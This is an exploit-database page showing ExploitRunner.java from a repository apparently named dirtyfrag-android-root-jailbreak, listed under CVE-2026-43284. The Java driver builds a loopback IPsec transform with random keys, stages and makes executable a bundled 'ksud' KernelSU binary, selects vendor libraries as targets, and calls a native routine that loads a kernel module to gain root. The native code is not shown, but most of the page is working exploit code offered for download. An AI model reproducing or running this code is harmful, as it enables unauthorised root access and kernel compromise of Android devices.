Exploit databaseDownload repository ZIP
GH-c49f2379464033dbd88649f9c2f39b8f
ankitrawatgit/dirtyfrag-android-root-jailbreak
Sources for CVE-2026-43284
24 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
ankitrawatgit/dirtyfrag-android-root-jailbreakRevision 7049e0005cf7
- ↑..Parent directory
- ExploitRunner.java
- IReporter.java
- LogScrollView.java
- MainActivity.java
- VendorTargetsEditText.java
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
app/src/main/java/df/root/ExploitRunner.java
Java · 9,668 bytespackage df.root;
import android.content.Context;
import android.net.IpSecAlgorithm;
import android.net.IpSecManager;
import android.net.IpSecTransform;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
public class ExploitRunner {
static final String PREF_SELECTED_BUNDLED_KO_KMI = "selected_bundled_ko_kmi";
static final String PREF_VENDOR_TARGETS = "vendor_targets";
static final String AUTO_BUNDLED_KO = "auto";
private static final String[] DEFAULT_VENDOR_TARGETS = {
"/vendor/lib64/libbinderdebug.so",
"/vendor/lib64/libstagefrighthw.so",
"/vendor/lib64/libstagefright_aidl_bufferpool2.so",
"/vendor/lib64/libbsp_module.so",
};
private static final int MAX_VENDOR_TARGETS = 16;
static { System.loadLibrary("exp"); }
static native int nativeRunAll(IReporter reporter, String koTarget, int encapPort, int spi,
byte[] aesCbcKey, byte[] hmacKey, int icvLen,
int senderPort, String customKoPath, String customKoLabel,
String selectedBundledKmi, String vendorTargets);
public static File customKoFile(Context ctx) {
File appData = ctx.createDeviceProtectedStorageContext().getFilesDir().getParentFile();
return new File(appData, "dirtyfrag.custom.ko");
}
public static int run(Context ctx, IReporter reporter) throws Exception {
String vendorTargets = getVendorTargets(ctx);
String koTarget = detectKoTarget(vendorTargets, reporter);
reporter.report("=== setup ===\n");
IpSecManager ipsec = (IpSecManager) ctx.getSystemService(Context.IPSEC_SERVICE);
if (ipsec == null) throw new IllegalStateException("IpSecManager unavailable (requires API 28+)");
IpSecManager.UdpEncapsulationSocket encapSock = ipsec.openUdpEncapsulationSocket();
int encapPort = encapSock.getPort();
reporter.report("encap port: " + encapPort + "\n");
InetAddress loopback = InetAddress.getByName("127.0.0.1");
IpSecManager.SecurityParameterIndex spiObj =
ipsec.allocateSecurityParameterIndex(loopback);
int spiVal = spiObj.getSpi();
reporter.report("spi: 0x" + Integer.toHexString(spiVal) + "\n");
SecureRandom rng = new SecureRandom();
byte[] aesKey = new byte[32]; rng.nextBytes(aesKey);
byte[] hmacKey = new byte[32]; rng.nextBytes(hmacKey);
int authTruncBits = 128;
IpSecAlgorithm enc = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, aesKey);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, hmacKey, authTruncBits);
DatagramSocket senderSock = new DatagramSocket();
int senderPort = senderSock.getLocalPort();
senderSock.close();
IpSecTransform transform = new IpSecTransform.Builder(ctx)
.setEncryption(enc)
.setAuthentication(auth)
.setIpv4Encapsulation(encapSock, senderPort)
.buildTransportModeTransform(loopback, spiObj);
int rc;
try {
stageKsud(ctx, reporter);
reporter.report("\n");
reporter.report("=== exploit ===\n");
File customKo = customKoFile(ctx);
String customKoPath = customKo.isFile() ? customKo.getAbsolutePath() : null;
String customKoLabel = customKoPath == null ? null
: ctx.getSharedPreferences("dfroot", Context.MODE_PRIVATE)
.getString("custom_ko_label", customKo.getName());
String selectedBundledKmi = customKoPath == null
? ctx.getSharedPreferences("dfroot", Context.MODE_PRIVATE)
.getString(PREF_SELECTED_BUNDLED_KO_KMI, AUTO_BUNDLED_KO)
: null;
if (AUTO_BUNDLED_KO.equals(selectedBundledKmi) || "custom".equals(selectedBundledKmi))
selectedBundledKmi = null;
reporter.report(customKoPath == null
? (selectedBundledKmi == null
? "module source: bundled KMI auto-select\n"
: "module source: bundled KMI " + selectedBundledKmi + " (manual)\n")
: "module source: manual DFRoot helper (" + customKo.getName() + ")\n");
rc = nativeRunAll(reporter, koTarget, encapPort, spiVal, aesKey, hmacKey,
authTruncBits / 8, senderPort, customKoPath, customKoLabel,
selectedBundledKmi, vendorTargets);
} finally {
transform.close();
spiObj.close();
encapSock.close();
}
return rc;
}
public static String detectKoTarget(String targetList, IReporter reporter) {
List<String> candidates = parseVendorTargets(targetList);
if (candidates.isEmpty()) candidates = parseVendorTargets(null);
for (String path : candidates) {
if (new File(path).exists()) {
reporter.report("found ko_target: " + path + "\n");
return path;
}
reporter.report(path + " not found\n");
}
reporter.report("Could not find a configured vendor target, falling back to "
+ candidates.get(0) + "\n");
return candidates.get(0);
}
public static String getVendorTargets(Context ctx) {
String stored = ctx.getSharedPreferences("dfroot", Context.MODE_PRIVATE)
.getString(PREF_VENDOR_TARGETS, null);
List<String> targets = parseVendorTargets(stored);
return joinVendorTargets(targets.isEmpty() ? parseVendorTargets(null) : targets);
}
public static String normalizeVendorTargets(String raw) {
return joinVendorTargets(parseVendorTargets(raw));
}
public static String validateVendorTargets(String raw) {
if (raw == null || raw.trim().isEmpty()) return "Add at least one vendor library path.";
int accepted = 0;
for (String line : raw.split("[\\r\\n,]+")) {
String path = line.trim();
if (path.isEmpty()) continue;
if (!isAllowedVendorTarget(path)) {
return "Invalid target: " + path
+ ". Use an absolute /vendor/ or /system/vendor/ path up to 63 characters.";
}
accepted++;
if (accepted > MAX_VENDOR_TARGETS)
return "Use at most " + MAX_VENDOR_TARGETS + " vendor targets.";
}
return accepted == 0 ? "Add at least one vendor library path." : null;
}
public static String defaultVendorTargets() {
return joinVendorTargets(parseVendorTargets(null));
}
private static List<String> parseVendorTargets(String raw) {
Set<String> unique = new LinkedHashSet<>();
String value = raw == null ? "" : raw;
String[] lines = value.split("[\\r\\n,]+");
for (String line : lines) {
String path = line.trim();
if (path.isEmpty()) continue;
if (!isAllowedVendorTarget(path)) continue;
unique.add(path);
}
if (raw == null || unique.isEmpty()) {
for (String path : DEFAULT_VENDOR_TARGETS) unique.add(path);
}
return new ArrayList<>(unique);
}
private static boolean isAllowedVendorTarget(String path) {
return (path.startsWith("/vendor/") || path.startsWith("/system/vendor/"))
&& path.length() <= 63
&& path.indexOf('\u0000') < 0
&& path.indexOf(' ') < 0
&& path.indexOf('\t') < 0;
}
private static String joinVendorTargets(List<String> targets) {
StringBuilder joined = new StringBuilder();
for (String target : targets) {
if (joined.length() > 0) joined.append('\n');
joined.append(target);
}
return joined.toString();
}
public static void stageKsud(Context ctx, IReporter reporter) throws IOException {
File dest = new File(ctx.createDeviceProtectedStorageContext().getFilesDir().getParentFile(), "ksud");
File custom = new File(dest.getParentFile(), "ksud.custom");
if (custom.isFile() && !custom.canExecute() && !custom.setExecutable(true, false))
throw new IOException("custom ksud is not executable: " + custom.getAbsolutePath());
File tmp = new File(dest.getPath() + ".tmp");
try (InputStream in = ctx.getAssets().open("ksud");
OutputStream out = new FileOutputStream(tmp)) {
byte[] buf = new byte[8192];
for (int n; (n = in.read(buf)) != -1; ) out.write(buf, 0, n);
} catch (IOException e) {
tmp.delete();
throw e;
}
if (!tmp.renameTo(dest)) { tmp.delete(); throw new IOException("rename failed: " + dest); }
if (!dest.setExecutable(true, false))
throw new IOException("setExecutable failed: " + dest.getAbsolutePath());
reporter.report("ksud staged to: " + dest.getAbsolutePath() + "\n");
reporter.report(custom.isFile()
? "ksud source: selected custom executable\n"
: "ksud source: auto-detect (KernelSU Manager, then ReSukiSU Manager, then system ksud)\n");
}
}